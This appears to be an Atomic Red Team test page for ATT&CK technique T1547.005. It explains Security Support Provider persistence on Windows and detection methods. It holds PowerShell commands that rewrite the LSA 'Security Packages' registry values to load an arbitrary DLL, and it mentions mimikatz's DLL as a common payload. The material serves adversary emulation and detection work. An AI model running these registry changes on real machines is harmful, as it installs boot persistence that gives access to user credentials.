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T1547.005 - Security Support Provider

T1547.005 - Security Support Provider#

Adversaries may abuse security support providers (SSPs) to execute DLLs when the system boots. Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user’s Domain password or smart card PINs.

The SSP configuration is stored in two Registry keys: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages and HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)

Atomic Tests#

Atomic Test #1 - Modify HKLM:\System\CurrentControlSet\Control\Lsa Security Support Provider configuration in registryAdd a value to a Windows registry Security Support Provider pointing to a payload .dll which will normally need to be copied in the system32 folder.#

A common DLL used with this techquite is the minilib.dll from mimikatz, see https://pentestlab.blog/2019/10/21/persistence-security-support-provider/ Supported Platforms: windows Elevation Required (e.g. root or admin)#### Attack Commands: Run with powershell

$oldvalue = $(Get-ItemProperty HKLM:\System\CurrentControlSet\Control\Lsa -Name 'Security Packages' | Select-Object -ExpandProperty 'Security Packages');
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name 'Security Packages old' -Value "$oldvalue";
$newvalue = "AtomicTest.dll";
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security Packages' -Value $newvalue

Invoke-AtomicTest T1547.005 -TestNumbers 1

Cleanup:#

$oldvalue = $(Get-ItemPropertyValue -Path  "HKLM:\System\CurrentControlSet\Control\Lsa" -Name 'Security Packages old' | Select-Object -ExpandProperty 'Security Packages old');
Set-ItemProperty -Path HKLM:\System\CurrentControlSet\Control\Lsa -Name 'Security Packages' -Value "$oldvalue";
Remove-ItemProperty -Path  "HKLM:\System\CurrentControlSet\Control\Lsa" -Name 'Security Packages old';```

Invoke-AtomicTest T1547.005 -TestNumbers 1 -Cleanup

Atomic Test #2 - Modify HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig Security Support Provider configuration in registryAdd a value to a Windows registry SSP key, simulating an adversarial modification of those keys.Supported Platforms: windows#

Elevation Required (e.g. root or admin)#### Attack Commands: Run with powershell

$oldvalue = $(Get-ItemProperty HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig -Name 'Security Packages' | Select-Object -ExpandProperty 'Security Packages');
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig" -Name 'Security Packages old' -Value "$oldvalue";
$newvalue = "AtomicTest.dll";
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig -Name 'Security Packages' -Value $newvalue

Invoke-AtomicTest T1547.005 -TestNumbers 2

Cleanup:#

$oldvalue = $(Get-ItemPropertyValue -Path  "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig" -Name 'Security Packages old' | Select-Object -ExpandProperty 'Security Packages old');
Set-ItemProperty -Path HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig -Name 'Security Packages' -Value "$oldvalue";
Remove-ItemProperty -Path  "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig" -Name 'Security Packages old';```

Invoke-AtomicTest T1547.005 -TestNumbers 2 -Cleanup

Detection#

Monitor the Registry for changes to the SSP Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LSASS.exe with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)

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